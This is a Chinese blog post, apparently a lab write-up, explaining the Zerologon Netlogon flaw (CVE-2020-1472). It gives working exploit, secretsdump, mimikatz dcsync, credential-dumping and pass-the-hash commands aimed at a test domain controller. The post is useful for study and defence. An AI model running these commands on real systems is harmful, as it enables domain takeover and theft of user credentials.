当前位置: 首页 > article >正文

NetLogon 权限提升漏洞

参考文章:CVE-2020-1472NetLogon权限提升漏洞_cve-2020-1472复现 谢公子-CSDN博客

  • 域控机器账户:WIN-0V0GAORDC17

  • 域控 ip:192.168.72.163

  • 域内攻击者机器 ip:192.168.72.158,host:WIN10-01

  • 攻击者 kali 机器 ip:192.168.72.162

NetLogon服务

Netlogon 是一个 Windows Server 进程,用于对域内的用户和其他服务进行身份验证。由于它是一项服务而不是应用程序,因此 Netlogon 会在后台持续运行,除非手动或因运行时错误而停止。可以从命令行终端停止或重新启动 Netlogon。最常见的是让用户使用 NTLM 协议登录服务器。默认情况下,Netlogon 服务在域内所有机器后台运行着,该服务的可执行文件路径为 C:\Windows\system32\lsass.exe。

NetLogon认证流程

  1. 客户端调用 NetrServerReqChallenge 函数给服务端发送随机8字节 Client Challenge 值。

  2. 服务端调用 NetrServerReqChallenge 函数给客户端发送随机8字节 Server Challenge 值。

  3. 双方同时生成 Session Key=KDF(secret,(Client Challenge+Server Challenge)) ,此secret是客户端机器账号的哈希值。

  4. 客户端使用 Session Key 作为密钥对 Client Challenge 加密运算为 Client Credential 并发给服务器,服务端进行相同步骤的运算并将结果与 Client Credential进行对比,相同则表示客户端有正确的凭据。

  5. 服务端使用 Session Key 作为密钥对 Server Challenge 值加密运算为 Server Credential 并发给客户端,客户端进行相同步骤的运算并将结果与 Server Credential 进行对比,相同则表示服务端拥有相同Session Key。

  6. 使用 Session Key 加密流量通信。

Session Key的生成

Session Key=KDF(secret,(Client Challenge+Server Challenge)),三种加密算法可选:AES、Strong-key 、DES。但是现代的 Windows server 通常拒绝 Strong-key 和 DES,所以都用 AES 加密。

  1. md4 加密算法运算 SharedSecret 得到 M4SS,此 SharedSecret 是客户端机器账号的哈希值。

  2. M4SS 作为密钥使用 HMAC-SHA256 算法对 Client Challenge 和 Server Challenge 进行一系列运算得到的结果取低 16 字节作为 Session Key。

 ComputeSessionKey(SharedSecret, ClientChallenge, 
                   ServerChallenge)
      M4SS := MD4(UNICODE(SharedSecret)) 
  
      CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS));
      CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge));
      CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge));
      CALL SHA256Result(HashContext, SessionKey);
      SET SessionKey to lower 16 bytes of the SessionKey;
Credential 的生成

由于现代的 windows server 都拒绝 Strong-key 和 DES,所以都用 AES 加密

  1. 初始化 16 字节 IV(上图黄色部分),对 IV 使用 Session Key 作为密钥,AES 算法加密后获取密文第一个字节。

  2. 将此字节与 Challenge(上图蓝色部分)得第一个字节进行异或运算,将运算后的结果(上图的e3)放在IV末尾,同时覆盖了Challenge的第一个字节。

  3. 抛弃原 IV 的第一个字节,从第二个字节开始一直到之前运算的字节(上图的e3)作为新的IV,也就是IV整体后移了一位。

  4. 取完这个 IV 后重放上述操作。

微软使用 ComputeNetlogonCredential 来生成 Credential,传入一个 SessionKey,局部变量初始化一个 IV,AES加密后得到 Credential。

 ComputeNetlogonCredential(Input, Sk, 
              Output)
  
       SET IV = 0
       CALL AesEncrypt(Input, Sk, IV, Output)

漏洞原理

135 端口的 netlogon 协议加密模块存在缺陷,导致攻击者使用管理员权限访问 135 端口调用远程 RPC 服务重置域控制器机器账号 hash。

在上述的 NetLogon 身份验证过程中,客户端是在第4步向服务端发送Client Credential进行的身份验证,但是客户端发送的Client Credential有1/256的概率全为0,这是因为微软在ComputeNetlogonCredential函数中生成Credential时,IV被初始化为全0,如下图所示:

  1. IV(上图黄色部分)全为0,Client Challenge(上图蓝色部分)因为我们可控全为0

  2. 只要 AES 加密算法对全 0 位的 16 字节进行运算的到的结果的第一个字节为 00,那么最终结果Credential就为全0位

    • 此时加密密钥为Session Key,而此Session Key=KDF(secret,(Client Challenge+Server Challenge)),也就是随机生成的,而随机生成的Session Key对全0位的16字节进行AES运算后,得到的结果第一个字节为00的概率是1/256

    • 服务端是通过Client Credential来验证客户端身份信息,如果步骤4生成的Credential为全0位,则其同样是合法的,我们能在步骤4时无限发送全0位的Client Credential来以1/256的概率爆破出合法的会话

注:上文的NetLogon认证流程中,第6步,也就是会话建立时,是有Session Key加密通信的,但是就算这个漏洞利用成功,我们也只能通过第4步骤的身份验证,并不能构造出合法的Session Key加密通信,所以在Net Logon身份认证时,需要设置标志位来取消加密会话,下面的攻击脚本就设置了flag标志位为0x212fffff,此标志位包含了取消加密会话的标志选项

漏洞实验

脚本zerologon_tester.py 和 cve-2020-1472-exploit.py

zerologon_tester.py
# 检测是否存在漏洞
python zerologon_tester.py WIN-0V0GAORDC17 192.168.72.163
CVE-2020-1472.py
# 攻击,使域控的机器账号哈希置为空
python cve-2020-1472-exploit.py WIN-0V0GAORDC17 WIN-0V0GAORDC17$ 192.168.72.163

远程连接域控
# 使用 WIN-0V0GAORDC17$机器账号,哈希为空连接,导出 administrator 用户的哈希
python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163    -no-pass -just-dc-user "administrator"
​
# 导出所有用户哈希
python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163    -no-pass

mimikatz漏洞实验

检测是否存在漏洞
# 使用 mimikatz 执行如下命令检测目标域控是否存在 Netlogon 权限提升漏洞。
mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.72.163 /account:WIN-0V0GAORDC17$" "exit"
重置域控hash(攻击机在域中)
mimikatz.exe "lsadump::zerologon /target:WIN-0V0GAORDC17.HACKER.com /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
重置域控hash(攻击机在域外)
mimikatz.exe "lsadump::zerologon /target:192.168.72.163 /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
远程连接域控
#导出指定 administrator 用户哈希
mimikatz.exe "lsadump::dcsync /csv /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:\"\" /authntlm" "exit" lsadump::dcsync /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:""/authntlm
​
#然后用 administrator 用户的哈希进行 pth 攻击连接域控,这一步需要 privilege::debug 提权
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.72.163 /rc4:33e17aa21ccc6ab0e6ff30eecb918dfb" "exit"

恢复御用机器账户hash

获得域控机器账号的原始哈希
# 使用 mimikatz 的 sekurlsa::logonpassword 模块执行如下命令从 lsass.exe进程里面抓取域控机器账号 WIN-0V0GAORDC17$ 的原始哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 恢复域控哈希
python reinstall_original_pw.py WIN-0V0GAORDC17 192.168.72.163 eace846f4b183390a111a1888b96beff


http://www.kler.cn/a/556043.html

相关文章:

  • Angular 中获取 DOM 节点的几种方法
  • C++ Primer string流
  • SpringBoot项目实现用户token和资源的多重校验
  • 【原创】vue-element-admin-plus完成编辑页面中嵌套列表功能
  • 基于AVue的二次封装:快速构建后台管理系统的CRUD方案
  • Amazon Lex:AI对话引擎重构企业服务新范式
  • 应用层的协议-http/https的状态码
  • OSPF | 理论 / 实验
  • ubuntu 守护进程
  • QSplashScreen --软件启动前的交互
  • 项目汇报PPT转视频制作 | 有字幕和配音版
  • 【知识】深度学习中,应该先zero_grad还是先backward?
  • 让浏览器AI起来:基于大模型Agent的浏览器自动化工具
  • 实现rolabelimg对于dota格式文件的直接加载和保存
  • 轻松美化双系统启动界面与同步时间设置(Windows + Ubuntu)
  • 每天设计者模式-1:基础面试题
  • AF3 _build_query_to_hit_index_mapping函数解读
  • windows 安装 stable diffusion
  • CPCI机箱 阿尔泰科技4槽2U CPCI测控机箱 后IO走线 CPCIC7604A
  • Java——列表(List)